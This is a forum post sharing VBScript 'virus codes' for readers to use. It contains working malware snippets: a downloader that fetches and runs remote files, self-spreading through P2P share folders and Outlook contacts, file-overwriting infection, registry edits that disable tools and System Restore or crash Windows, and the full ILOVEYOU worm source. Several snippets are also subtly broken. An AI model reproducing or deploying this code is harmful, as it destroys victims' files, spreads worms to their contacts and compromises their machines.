VBS Virus Codes

Hey Everyone, Here is some VBS Virus codes for you to use if you wish.

Please feel free to post more of your own code here. These could be anything from AV killers to Info Stealers.

I will go first:

Start all VBS code with this

Code:

set fso=CreateObject("Scripting.FileSystemObject")
set shell=CreateObject("Wscript.Shell")

Blue Screen of Death

Code:

Shell.RegWrite("HKLM\SYSTEM\CurrentControlSet\Control\Windows\SystemDirectory", "%systemroot%\1337HACKED1337"), "REG_EXPAND_SZ"

Hide your Virus (VBS File)

Code:

Sub Download
Set HTTPGET = CreateObject("Microsoft.XMLHTTP") 
HTTPGET.Open "GET",url_get, False
HTTPGET.Send 
DataBin = HTTPGET.ResponseBody
Const adTypeBinary=1
Const adSaveCreateOverWrite=2
Set ADODB = CreateObject("ADODB.Stream")
ADODB.Type = adTypeBinary
ADODB.Open
ADODB.Write DataBin
ADODB.SaveToFile save_dir, adSaveCreateOverWrite
End Sub
url_get="Test URL"
save_dir="Test Save"
Call Download
Shell.run save_dir

Spread VIA 5 P2P Programs
(File added is called HotBabes.VBS)

Code:

If fso.FolderExists("C:\Program files\Swaptor\Download") then
Swaptor = "C:\Program files\Swaptor\Download\HotBabes.vbs"
fso.CopyFile Wscript.ScriptFullName,Swaptor
End If
If fso.FolderExists("C:\Program files\WinMX\My Shared Folder") then
WinMX = "C:\Program files\WinMX\My Shared Folder\HotBabes.vbs"
fso.CopyFile Wscript.ScriptFullName,WinMX
End If
If fso.FolderExists("C:\Program files\Tesla\Files") then
Tesla = "C:\Program files\Tesla\Files\HotBabes.vbs"
fso.CopyFile Wscript.ScriptFullName,Tesla
End If
If fso.FolderExists("C:\Program files\XoloX\Downloads") then
Xolox = "C:\Program files\XoloX\Downloads\HotBabes.vbs"
fso.CopyFile Wscript.ScriptFullName,Xolox
End If
If fso.FolderExists("C:\Program files\Rapigator\Share") then
Rapigator = "C:\Program files\Rapigator\Share\HotBabes.vbs"
fso.CopyFile Wscript.ScriptFullName,Rapigator
End If
If fso.FolderExists("C:\Program Files\Blubster\My Shared Folder") then
Blubster = "C:\Program Files\Blubster\My Shared Folder\HotBabes.vbs"
fso.CopyFile Wscript.ScriptFullName,Blubster
End If
If fso.FolderExists("C:\Imesh") then
Imesh = "C:\Imesh\HotBabes.vbs"
fso.CopyFile Wscript.ScriptFullName,Imesh
Else
fso.CreateFolder("C:\Imesh")
fso.CopyFile Wscript.ScriptFullName,Imesh
End If
Shell.regwrite("HKCU\Software\iMesh\Client\LocalContent\Dir? 012345:","C:\Imesh",REG_SZ
Shell.regwrite("HKCU\Software\iMesh\Client\LocalContent\DisableSharing","0",REG_DWORD
Shell.regwrite("HKCU\Software\iMesh\Client\LocalContent\HKLM\Software\iMesh\Client\DownlaodsLocation","C:\Imesh",REG_SZ
End If

Disable Regedit

Code:

Shell.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"

Registry Startup

Code:

path = "C:\windows\winupdate.vbs"
fso.CopyFile Wscript.ScriptFullName,path
Shell.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Sasaxquo", "C:\Windows\winupdate.vbs"
path = "C:\windows\pjwsot.vbs"
fso.CopyFile Wscript.ScriptFullName,path
Shell.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Saszoqor", "C:\Windows\pjwsot.vbs, "REG_SZ"

Open CD Drive Continually

Code:

Set WMP=CreateObject("WMPlayer.OCX.7" )
Set CDROMs=WMP.cdromCollection
if CDROMs.Count >= 1 then
For i = 0 to CDROMs.Count - 1
CDROMs.Item(i).Eject
Next
End If

Mass Victim Email

Code:

Dim a
Set fso = "Scripting.FileSystem.Object" 
Set out = "WScript.CreateObject(" & Chr(34) & "Outlook.Application" & Chr(34) & ")"  
Set ola = "CreateObject(" & Chr(34) & "Outlook.Application" & Chr(34) & ")"
Set mapi = "out.GetNam" & "eSpace(" & Chr(34) & "MAPI" & Chr(34) & ")"
Set x = "mapi.Addr" & "essLists(1)"
For a = 1 To x.AddressEntries.Count
Set Mail = ola.CreateItem(0)
Mail.to = "ola.GetNa" & "meSpace(" & Chr(34) & "MAPI" & Chr(34) & ").Addr" & "essLists(1).Ad" & "dressE" & "ntries(a)"
Mail.Subject = "Check it out"
Mail.Body = "Check these pics out"
Set NoJoy = "Atta" & "chme" & "nts"
Mail.NoJoy.Add Wscript.ScriptFullName
Mail.Send
Next
ol.Quit

Infect VBE, VBS, and Bat

Code:

Function Infect(path,extension)
On Error Resume Next
Set file = fso.OpenTextFile(WScript.ScriptFullName, 1)
ome = file.ReadAll
Set Folder = fso.GetFolder(path)
Set dir = Folder.Files
For each target in dir
Ext = fso.GetExtensionName(target.Name)
If Ext = extension then
Set W = fso.OpenTextFile(target.path, 2, True)
W.Write ome
W.Close
End If
Next
End Function
Set Net = CreateObject("WScript.Network")
Username = Net.Username
Call Infect("C:\","vbs")
Call Infect("C:\Windows","vbs")
Call Infect("C:\Windows\System32","vbs")
Call Infect("C:\","vbe")
Call Infect("C:\Windows","vbe")
Call Infect("C:\Windows\System32","vbe")
fso.CopyFile WScript.ScriptFullName, "C:\ccvjhformat
Function Infect(path)
Set Folder = fso.GetFolder(path)
Set dir = Folder.Files
For each target in dir
Ext = fso.GetExtensionName(target.Name)
If Ext = "bat" then
Set W = fso.OpenTextFile(target.path, 8, True)
W.Write VbCrLf
W.write "@start C:\ccvjh.vbs"
W.close
End If
Next
End Function
Call Infect("C:\")
Call Infect("C:\Windows")
Call Infect("C:\Windows\System32")

Continual Error Message

Code:

do

x= msgbox("Pc System Crashed",16, "Warning")

x= msgbox("Shutting Down",16, "Warning")

x= msgbox("Virus Found",16, "Warning")

x= msgbox("Oops System Crashed",16, "Warning")

loop

Create a New Account

Code:

strComputer = "." ' Local Computer
strUser = "Username"
strPassword = "Password"

SET colAccounts = GETOBJECT("WinNT://" & strComputer & "")
SET objUser = colAccounts.Create("user", strUser)
objUser.SetPassword strPassword
objUser.SetInfo

Talking Virus

Code:

StrText="Enter Your Text Here"

set Objvoice=CreateObject("SAPI.SpVoice")

Objvoice.Speak StrText

Disable System Restore

Code:

Shell.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR","1", "REG_DWORD"
Shell.regwrite "HKLM\SYSTEM\CurrentControlSet\Services\sr","4", "REG_DWORD

"

Anti Delete Worm (Love Letter Virus by spyder)

Code:

On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)  
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine "     corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2=  /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next  
end sub
sub folderlist(folderspec)  
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)  
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next  
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _
"<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub

To use these open up notepad. Then Paste the code you want to use in there (remember to add the code at the beginning of this post to the top of you VBS file). Then go to File - Save As. Type in any name for it but make sure to add .VBS to the end. And make sure to put "Any Files "." " on there as well so it can be .VBS.

Enjoy, and please post your own useful scripts here!

*Most of these were not made by me*

VBS Virus Codes

Post a Reply

Similar Threads

Tags for this Thread